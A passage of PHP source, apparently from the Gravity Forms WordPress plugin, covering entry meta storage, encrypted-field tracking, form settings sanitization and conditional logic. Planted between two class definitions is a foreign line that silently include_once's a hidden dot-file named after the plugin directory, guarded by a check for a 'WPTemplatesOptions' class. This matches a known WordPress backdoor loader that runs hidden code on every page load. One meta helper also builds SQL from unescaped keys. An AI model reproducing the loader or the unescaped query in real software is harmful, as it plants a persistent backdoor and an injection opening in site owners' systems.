$element['conditionalLogic']['rules'] ) ) { foreach ( $element['conditionalLogic']['rules'] as &$rule ) { $value = (string) rgar( $rule, 'value' ); if ( $value !== trim( $value ) ) { $field = isset( $form['fields'] ) ? GFFormsModel::get_field( $form, $rule['fieldId'] ) : array(); $trim_value = apply_filters( 'gform_trim_input_value', true, rgar( $form, 'id' ), $field ); if ( $trim_value ) { $rule['value'] = trim( $rule['value'] ); $updated = true; } } } } } return $element; } /** * Returns an array of field IDs that have been encrypted using GFCommon::encrypt() * * @deprecated * * @since unknown * * @param $entry_id * * @return array|bool|mixed */ public static function get_encrypted_fields( $entry_id ) { _deprecated_function( 'GFCommon:get_encrypted_fields', '2.3', 'GFCommon:get_openssl_encrypted_fields' ); $encrypted_fields = gform_get_meta( $entry_id, '_encrypted_fields' ); if ( empty( $encrypted_fields ) ) { $encrypted_fields = array(); } return $encrypted_fields; } /** * Stores the field IDs that have been encrypted using GFCommon::encrypt() * * @deprecated * * @since unknown * * @param $entry_id * @param $field_ids * * @return bool */ public static function set_encrypted_fields( $entry_id, $field_ids ) { _deprecated_function( 'GFCommon:set_encrypted_fields', '2.3', 'GFCommon:set_openssl_encrypted_fields' ); if ( ! is_array( $field_ids ) ) { $field_ids = array( $field_ids ); } $encrypted_fields = array_merge( self::get_encrypted_fields( $entry_id ), $field_ids ); gform_update_meta( $entry_id, '_encrypted_fields', $encrypted_fields ); return true; } /** * Checks whether the given field was encrypted using GFCommon::encrpyt() and registered using GFCommon::set_encrypted_fields() * * @deprecated * * @since unknown * * @param $entry_id * @param $field_id * * @return bool|mixed|void */ public static function is_encrypted_field( $entry_id, $field_id ) { _deprecated_function( 'GFCommon:is_encrypted_field', '2.3', 'GFCommon:is_openssl_encrypted_field' ); /** * Determines if an entry field is stored encrypted. Use this hook to change the default behavior of decrypting fields that have been encrypted or to completely disable the * process if checking for encrypted fields. * * @param int $entry_id The current Entry ID * @param int $field_id The current Field ID. */ $is_encrypted = apply_filters('gform_is_encrypted_field', '', $entry_id, $field_id ); if ( $is_encrypted !== '' ){ return $is_encrypted; } $encrypted_fields = self::get_encrypted_fields( $entry_id ); return in_array( $field_id, $encrypted_fields ); } /** * Returns an array of field IDs that have been encrypted using GFCommon::openssl_encrypt() * * @since 2.3 * * @param $entry_id * * @return array|bool|mixed */ public static function get_openssl_encrypted_fields( $entry_id ) { $encrypted_fields = gform_get_meta( $entry_id, '_openssl_encrypted_fields' ); if ( empty( $encrypted_fields ) ) { $encrypted_fields = array(); } return $encrypted_fields; } /** * Adds the field IDs that have been encrypted using GFCommon::encrypt(). Merges the new IDs with the existing IDs. * * @since 2.3 * * @param $entry_id * @param $field_ids * * @return bool */ public static function set_openssl_encrypted_fields( $entry_id, $field_ids ) { if ( ! is_array( $field_ids ) ) { $field_ids = array( $field_ids ); } $encrypted_fields = array_merge( self::get_openssl_encrypted_fields( $entry_id ), $field_ids ); gform_update_meta( $entry_id, '_openssl_encrypted_fields', $encrypted_fields ); return true; } /** * Checks whether the given field was encrypted using GFCommon::encrpyt() and registered using GFCommon::set_encrypted_fields() * * @since 2.3 * * @param $entry_id * @param $field_id * * @return bool|mixed|void */ public static function is_openssl_encrypted_field( $entry_id, $field_id ) { /** * Determines if an entry field is stored encrypted. Use this hook to change the default behavior of decrypting fields that have been encrypted or to completely disable the * process if checking for encrypted fields. * * @param int $entry_id The current Entry ID * @param int $field_id The current Field ID. */ $is_encrypted = apply_filters('gform_is_encrypted_field', '', $entry_id, $field_id ); if ( $is_encrypted !== '' ){ return $is_encrypted; } $encrypted_fields = self::get_openssl_encrypted_fields( $entry_id ); return in_array( $field_id, $encrypted_fields ); } /** * @deprecated 2.4.16 * * @param $entry * @param $form * * @return mixed */ public static function delete_password( $entry, $form ) { $password_fields = self::get_fields_by_type( $form, array( 'password' ) ); if ( is_array( $password_fields ) ) { foreach ( $password_fields as $password_field ) { $entry[ $password_field->id ] = ''; } } GFAPI::update_entry( $entry ); return $entry; } public static function maybe_sanitize_form_settings( $form ) { if ( isset( $form['version'] ) && version_compare( $form['version'], '1.9.6.10', '>=' ) ) { $form = self::sanitize_settings( $form ); } return $form; } public static function sanitize_settings( $form ) { $form['version'] = GFForms::$version; if ( apply_filters( 'gform_disable_form_settings_sanitization', false ) ) { return $form; } // -- standard form settings -- $form['title'] = sanitize_text_field( rgar( $form, 'title' ) ); if ( isset( $form['description'] ) ) { $form['description'] = self::maybe_wp_kses( $form['description'] ); } if ( isset( $form['labelPlacement'] ) ) { $form['labelPlacement'] = GFCommon::whitelist( $form['labelPlacement'], array( 'top_label', 'left_label', 'right_label' ) ); } if ( isset( $form['descriptionPlacement'] ) ) { $form['descriptionPlacement'] = GFCommon::whitelist( $form['descriptionPlacement'], array( 'below', 'above' ) ); } if ( isset( $form['subLabelPlacement'] ) ) { $form['subLabelPlacement'] = GFCommon::whitelist( $form['subLabelPlacement'], array( 'below', 'above' ) ); } // -- advanced form settings -- if ( isset( $form['cssClass'] ) ) { $form['cssClass'] = sanitize_text_field( $form['cssClass'] ); } if ( isset( $form['enableHoneypot'] ) ) { $form['enableHoneypot'] = (bool) $form['enableHoneypot']; } if ( isset( $form['enableAnimation'] ) ) { $form['enableAnimation'] = (bool) $form['enableAnimation']; } // form button settings if ( isset( $form['button'] ) ) { $form['button']['type'] = GFCommon::whitelist( $form['button']['type'], array( 'text', 'image' ) ); $form['button']['text'] = $form['button']['type'] == 'text' ? sanitize_text_field( $form['button']['text'] ) : ''; $form['button']['imageUrl'] = $form['button']['type'] == 'image' ? sanitize_text_field( $form['button']['imageUrl'] ) : ''; } if ( isset( $form['button']['conditionalLogic'] ) ) { $form['button']['conditionalLogic'] = self::sanitize_conditional_logic( $form['button']['conditionalLogic'] ); } // Save and Continue settings if ( isset( $form['save'] ) ) { $form['save']['enabled'] = (bool) $form['save']['enabled'] ; $form['save']['button']['type'] = 'link'; $form['save']['button']['text'] = sanitize_text_field( $form['save']['button']['text'] ); } // limit entries settings if ( isset( $form['limitEntries'] ) ) { $form['limitEntries'] = (bool) $form['limitEntries']; $form['limitEntriesCount'] = $form['limitEntries'] ? absint( $form['limitEntriesCount'] ) : ''; $form['limitEntriesPeriod'] = $form['limitEntries'] ? GFCommon::whitelist( $form['limitEntriesPeriod'], array( '', 'day', 'week', 'month', 'year' ) ) : ''; $form['limitEntriesMessage'] = $form['limitEntries'] ? self::maybe_wp_kses( $form['limitEntriesMessage'] ) : ''; } // form scheduling settings if ( isset( $form['scheduleForm'] ) ) { $form['scheduleForm'] = (bool) $form['scheduleForm']; $form['scheduleStart'] = $form['scheduleForm'] ? wp_strip_all_tags( $form['scheduleStart'] ) : ''; $form['scheduleStartHour'] = $form['scheduleForm'] ? GFCommon::int_range( $form['scheduleStartHour'], 1, 12 ) : ''; $form['scheduleStartMinute'] = $form['scheduleForm'] ? GFCommon::int_range( $form['scheduleStartMinute'], 1, 60 ) : ''; $form['scheduleStartAmpm'] = $form['scheduleForm'] ? GFCommon::whitelist( $form['scheduleStartAmpm'], array( 'am', 'pm' ) ) : ''; $form['scheduleEnd'] = $form['scheduleForm'] ? wp_strip_all_tags( $form['scheduleEnd'] ) : ''; $form['scheduleEndHour'] = $form['scheduleForm'] ? GFCommon::int_range( $form['scheduleEndHour'], 1, 12 ) : ''; $form['scheduleEndMinute'] = $form['scheduleForm'] ? GFCommon::int_range( $form['scheduleEndMinute'], 1, 60 ) : ''; $form['scheduleEndAmpm'] = $form['scheduleForm'] ? GFCommon::whitelist( $form['scheduleEndAmpm'], array( 'am', 'pm' ) ) : ''; $form['schedulePendingMessage'] = $form['scheduleForm'] ? self::maybe_wp_kses( $form['schedulePendingMessage'] ) : ''; $form['scheduleMessage'] = $form['scheduleForm'] ? self::maybe_wp_kses( $form['scheduleMessage'] ) : ''; } // require login settings if ( isset( $form['requireLogin'] ) ) { $form['requireLogin'] = (bool) $form['requireLogin']; $form['requireLoginMessage'] = $form['requireLogin'] ? self::maybe_wp_kses( $form['requireLoginMessage'] ) : ''; } if ( isset( $form['fields'] ) ) { foreach ( $form['fields'] as $field ) { /* @var GF_Field $field */ $field->sanitize_settings(); } } return $form; } public static function sanitize_conditional_logic( $logic ) { if ( ! is_array( $logic ) ) { return $logic; } if ( apply_filters( 'gform_disable_form_settings_sanitization', false ) ) { return $logic; } if ( isset( $logic['actionType'] ) && ! in_array( $logic['actionType'], array( 'show', 'hide' ) ) ) { $logic['actionType'] = 'show'; } if ( isset( $logic['logicType'] ) && ! in_array( $logic['logicType'], array( 'all', 'any' ) ) ) { $logic['logicType'] = 'all'; } if ( isset( $logic['rules'] ) && is_array( $logic['rules'] ) ) { foreach ( $logic['rules'] as &$rule ) { if ( isset( $rule['fieldId'] ) ) { // Field ID could be meta key. $rule['fieldId'] = wp_strip_all_tags( $rule['fieldId'] ); } if ( isset( $rule['operator'] ) ) { $is_valid_operator = self::is_valid_operator( $rule['operator'] ); $rule['operator'] = $is_valid_operator ? $rule['operator'] : 'is'; } if ( isset( $rule['value'] ) ) { // Strip scripts but don't encode. $allowed_protocols = wp_allowed_protocols(); $rule['value'] = wp_kses_no_null( $rule['value'], array( 'slash_zero' => 'keep' ) ); $rule['value'] = wp_kses_hook( $rule['value'], 'post', $allowed_protocols ); $rule['value'] = wp_kses_split( $rule['value'], 'post', $allowed_protocols ); } } } return $logic; } private static function maybe_wp_kses( $html, $allowed_html = 'post', $allowed_protocols = array() ) { return GFCommon::maybe_wp_kses( $html, $allowed_html, $allowed_protocols ); } /** * Returns an array containing the form fields of the specified type or types. * * @since 1.9.9.10 * @param array $form * @param array|string $types * @param bool $use_input_type * * @return GF_Field[] */ public static function get_fields_by_type( $form, $types, $use_input_type = false ) { $fields = array(); if ( ! is_array( rgar( $form, 'fields' ) ) ) { return $fields; } if ( ! is_array( $types ) ) { $types = array( $types ); } foreach ( $form['fields'] as $field ) { /* @var GF_Field $field */ $type = $use_input_type ? $field->get_input_type() : $field->type; if ( in_array( $type, $types ) ) { $fields[] = $field; } } return $fields; } /** * Checks whether the conditional logic operator passed in is valid. * * @since 2.0.7.20 Refactored and added filter gform_is_valid_conditional_logic_operator. * @access public * * @param string $operator Conditional logic operator. * * @return bool true if a valid operator, false if not. */ public static function is_valid_operator( $operator ) { $operators = array( 'is', 'isnot', '<>', 'not in', 'in', '>', '<', 'contains', 'starts_with', 'ends_with', 'like', '>=', '<=' ); $is_valid = in_array( strtolower( $operator ), $operators ); /** * Filter which checks whether the operator is valid. * * Allows custom operators to be validated. * * @since 2.0.7.20 * * @param bool $is_valid Whether the operator is valid or not. * @param string $operator The conditional logic operator. */ return apply_filters( 'gform_is_valid_conditional_logic_operator', $is_valid, $operator ); } /** * Update the recent forms list for the current user when a form is edited or trashed. * * @since 2.0.7.14 * * @param int $form_id The ID of the current form. * @param bool $trashed Indicates if the form was trashed. Default is false, form was opened for editing. */ public static function update_recent_forms( $form_id, $trashed = false ) { if ( ! get_option( 'gform_enable_toolbar_menu' ) ) { return; } $current_user_id = get_current_user_id(); $recent_form_ids = self::get_recent_forms( $current_user_id ); $i = array_search( $form_id, $recent_form_ids ); if ( $i !== false ) { unset( $recent_form_ids[ $i ] ); $recent_form_ids = array_values( $recent_form_ids ); } if ( ! $trashed ) { // Add the current form to the top of the list. array_unshift( $recent_form_ids, $form_id ); $recent_form_ids = array_slice( $recent_form_ids, 0, 10 ); } update_user_meta( $current_user_id, 'gform_recent_forms', $recent_form_ids ); } /** * Get the recent forms list for the current user. * * @since 2.2.1.14 * * @param int $current_user_id The ID of the currently logged in user. * * @return array */ public static function get_recent_forms( $current_user_id = 0 ) { if ( ! $current_user_id ) { $current_user_id = get_current_user_id(); } $recent_form_ids = get_user_meta( $current_user_id, 'gform_recent_forms', true ); if ( empty( $recent_form_ids ) || ! is_array( $recent_form_ids ) ) { $all_form_ids = self::get_form_ids(); $all_form_ids = array_reverse( $all_form_ids ); $recent_form_ids = array_slice( $all_form_ids, 0, 10 ); if ( $recent_form_ids ) { update_user_meta( $current_user_id, 'gform_recent_forms', $recent_form_ids ); } } return $recent_form_ids; } /** * Evaluates the conditional logic based on the specified $logic variable. * @param $form The current Form object. * @param $logic The conditional logic configuration array with all the specified rules. * @param $field_values Default field values for this form. Used when form has not yet been submitted. Pass an array if no default field values are available/required. * @param $entry Optional, default is null. If entry object is available, pass the entry. * * @return bool Returns true if the conditional logic passes (i.e. field/button is supposed to be displayed), false otherwise. */ private static function evaluate_conditional_logic( $form, $logic, $field_values, $entry = null ) { if ( empty( $logic ) ){ return true; } $match_count = 0; foreach ( $logic['rules'] as $rule ) { $source_field = RGFormsModel::get_field( $form, $rule['fieldId'] ); $field_value = empty( $entry ) ? self::get_field_value( $source_field, $field_values ) : self::get_lead_field_value( $entry, $source_field ); $is_value_match = self::is_value_match( $field_value, $rule['value'], $rule['operator'], $source_field, $rule, $form ); if ( $is_value_match ) { $match_count ++; } } $do_action = ( $logic['logicType'] == 'all' && $match_count == sizeof( $logic['rules'] ) ) || ( $logic['logicType'] == 'any' && $match_count > 0 ); $is_hidden = ( $do_action && $logic['actionType'] == 'hide' ) || ( ! $do_action && $logic['actionType'] == 'show' ); return ! $is_hidden; } /** * Returns all the draft submissions. * * @since 2.4 * * @return array|null|object The query result. */ public static function get_draft_submissions() { global $wpdb; self::purge_expired_draft_submissions(); $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $sql = "SELECT uuid, date_created, form_id, ip, submission, source_url FROM {$table}"; $rows = $wpdb->get_results( $sql, ARRAY_A ); foreach ( $rows as $row ) { $form = self::get_form_meta( $row['form_id'] ); $row['submission'] = self::filter_draft_submission_post_get( $row['submission'], $row['uuid'], $form ); } return $rows; } /** * Sanitizes the names of the files that have been uploaded to the tmp directory and sent in * $_POST['gform_uploaded_files'] and caches them in GFFormsModel::$uploaded_files. * * @since 2.4.3.5 * * @param $form_id * * @return array */ public static function set_uploaded_files( $form_id ) { $files = GFCommon::json_decode( stripslashes( GFForms::post( 'gform_uploaded_files' ) ) ); if ( ! is_array( $files ) ) { $files = array(); } foreach ( $files as &$upload_field ) { if ( is_array( $upload_field ) ) { if ( isset( $upload_field[0] ) && is_array( $upload_field[0] ) ) { foreach ( $upload_field as &$upload ) { if ( isset( $upload['temp_filename'] ) ) { $upload['temp_filename'] = sanitize_file_name( wp_basename( $upload['temp_filename'] ) ); } if ( isset( $upload['uploaded_filename'] ) ) { $upload['uploaded_filename'] = sanitize_file_name( wp_basename( $upload['uploaded_filename'] ) ); } } } } else { $upload_field = wp_basename( $upload_field ); } } self::$uploaded_files[ $form_id ] = $files; return $files; } /** * Checks if an entry exists for the supplied ID. * * @since 2.4.5.8 * * @param int $entry_id The ID to be checked. * * @return bool */ public static function entry_exists( $entry_id ) { $entry_id = intval( $entry_id ); if ( $entry_id <= 0 ) { return false; } global $wpdb; $entry_table_name = GFFormsModel::get_entry_table_name(); $sql = $wpdb->prepare( "SELECT count(id) FROM {$entry_table_name} WHERE id = %d", $entry_id ); $result = intval( $wpdb->get_var( $sql ) ); return $result > 0; } } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class RGFormsModel extends GFFormsModel { } /** * In-memory cache of entry meta using "{blog_id}_{entry_id}_{meta_key}" as the key. * * @since 2.3 Prefixed cache key with the blog id. * @since unknown * * @global array $_gform_lead_meta */ global $_gform_lead_meta; $_gform_lead_meta = array(); // Functions to handle lead meta function gform_get_meta( $entry_id, $meta_key ) { if ( version_compare( GFFormsModel::get_database_version(), '2.3-dev-1', '<' ) ) { return GF_Forms_Model_Legacy::gform_get_meta( $entry_id, $meta_key ); } global $wpdb, $_gform_lead_meta; //get from cache if available $cache_key = get_current_blog_id() . '_' . $entry_id . '_' . $meta_key; if ( array_key_exists( $cache_key, $_gform_lead_meta ) ) { return maybe_unserialize( $_gform_lead_meta[ $cache_key ] ); } $table_name = GFFormsModel::get_entry_meta_table_name(); $results = $wpdb->get_results( $wpdb->prepare( "SELECT meta_value FROM {$table_name} WHERE entry_id=%d AND meta_key=%s", $entry_id, $meta_key ) ); $value = isset( $results[0] ) ? $results[0]->meta_value : null; $meta_value = $value === null ? false : maybe_unserialize( $value ); $_gform_lead_meta[ $cache_key ] = $meta_value; return $meta_value; } function gform_get_meta_values_for_entries( $entry_ids, $meta_keys ) { global $wpdb; if ( version_compare( GFFormsModel::get_database_version(), '2.3-dev-1', '<' ) ) { return GF_Forms_Model_Legacy::gform_get_meta_values_for_entries( $entry_ids, $meta_keys ); } if ( empty( $meta_keys ) || empty( $entry_ids ) ) { return array(); } $table_name = RGFormsModel::get_entry_meta_table_name(); $meta_key_select_array = array(); foreach ( $meta_keys as $meta_key ) { $meta_key_select_array[] = "max(case when meta_key = '$meta_key' then meta_value end) as `$meta_key`"; } $entry_ids_str = join( ',', $entry_ids ); $meta_key_select = join( ',', $meta_key_select_array ); $sql_query = " SELECT entry_id, $meta_key_select FROM $table_name WHERE entry_id IN ($entry_ids_str) GROUP BY entry_id"; $results = $wpdb->get_results( $sql_query ); foreach ( $results as $result ) { foreach ( $meta_keys as $meta_key ) { $result->$meta_key = $result->$meta_key === null ? false : maybe_unserialize( $result->$meta_key ); } } $meta_value_array = $results; return $meta_value_array; } /** * Add or update metadata associated with an entry. * * Data will be serialized. Don't forget to sanitize user input. * * @since Unknown * * @param int $entry_id The ID of the entry to be updated. * @param string $meta_key The key for the meta data to be stored. * @param mixed $meta_value The data to be stored for the entry. * @param int|null $form_id The form ID of the entry (optional, saves extra query if passed when creating the metadata). */ function gform_update_meta( $entry_id, $meta_key, $meta_value, $form_id = null ) { global $wpdb, $_gform_lead_meta; if ( gf_upgrade()->get_submissions_block() ) { return; } if ( intval( $entry_id ) <= 0 ) { return; } if ( version_compare( GFFormsModel::get_database_version(), '2.3-dev-1', '<' ) ) { GF_Forms_Model_Legacy::gform_update_meta( $entry_id, $meta_key, $meta_value, $form_id ); return; } $table_name = GFFormsModel::get_entry_meta_table_name(); if ( false === $meta_value ) { $meta_value = '0'; } $serialized_meta_value = maybe_serialize( $meta_value ); $meta_exists = gform_get_meta( $entry_id, $meta_key ) !== false; if ( $meta_exists ) { $wpdb->update( $table_name, array( 'meta_value' => $serialized_meta_value ), array( 'entry_id' => $entry_id, 'meta_key' => $meta_key ), array( '%s' ), array( '%d', '%s' ) ); } else { if ( empty( $form_id ) ) { $entry_table_name = GFFormsModel::get_entry_table_name(); $form_id = $wpdb->get_var( $wpdb->prepare( "SELECT form_id from $entry_table_name WHERE id=%d", $entry_id ) ); } else { $form_id = intval( $form_id ); } $wpdb->insert( $table_name, array( 'form_id' => $form_id, 'entry_id' => $entry_id, 'meta_key' => $meta_key, 'meta_value' => $serialized_meta_value ), array( '%d', '%d', '%s', '%s' ) ); } //updates cache $cache_key = get_current_blog_id() . '_' . $entry_id . '_' . $meta_key; if ( array_key_exists( $cache_key, $_gform_lead_meta ) ) { $_gform_lead_meta[ $cache_key ] = $meta_value; } } /** * Add metadata associated with an entry. * * Data will be serialized; Don't forget to sanitize user input. * * @since Unknown * * @param int $entry_id The ID of the entry where metadata is to be added. * @param string $meta_key The key for the meta data to be stored. * @param mixed $meta_value The data to be stored for the entry. * @param int|null $form_id The form ID of the entry (optional, saves extra query if passed when creating the metadata). */ function gform_add_meta( $entry_id, $meta_key, $meta_value, $form_id = null ) { global $wpdb, $_gform_lead_meta; if ( gf_upgrade()->get_submissions_block() ) { return; } if ( intval( $entry_id ) <= 0 ) { return; } if ( version_compare( GFFormsModel::get_database_version(), '2.3-dev-1', '<' ) ) { GF_Forms_Model_Legacy::gform_add_meta( $entry_id, $meta_key, $meta_value, $form_id ); return; } $table_name = RGFormsModel::get_entry_meta_table_name(); if ( false === $meta_value ) { $meta_value = '0'; } $serialized_meta_value = maybe_serialize( $meta_value ); if ( empty( $form_id ) ) { $entry_table_name = GFFormsModel::get_entry_table_name(); $form_id = $wpdb->get_var( $wpdb->prepare( "SELECT form_id from $entry_table_name WHERE id=%d", $entry_id ) ); } else { $form_id = intval( $form_id ); } $wpdb->insert( $table_name, array( 'form_id' => $form_id, 'entry_id' => $entry_id, 'meta_key' => $meta_key, 'meta_value' => $serialized_meta_value ), array( '%d', '%d', '%s', '%s' ) ); $cache_key = get_current_blog_id() . '_' . $entry_id . '_' . $meta_key; $_gform_lead_meta[ $cache_key ] = $meta_value; } /** * Delete metadata associated with an entry. * * @since Unknown * * @param int $entry_id The ID of the entry to be deleted. * @param string $meta_key The key for the meta data to be deleted. */ function gform_delete_meta( $entry_id, $meta_key = '' ) { global $wpdb, $_gform_lead_meta; if ( gf_upgrade()->get_submissions_block() ) { return; } if ( version_compare( GFFormsModel::get_database_version(), '2.3-dev-1', '<' ) ) { GF_Forms_Model_Legacy::gform_delete_meta( $entry_id, $meta_key ); return; } $table_name = RGFormsModel::get_entry_meta_table_name(); $meta_filter = empty( $meta_key ) ? '' : $wpdb->prepare( 'AND meta_key=%s', $meta_key ); $wpdb->query( $wpdb->prepare( "DELETE FROM {$table_name} WHERE entry_id=%d {$meta_filter}", $entry_id ) ); //clears cache. $_gform_lead_meta = array(); }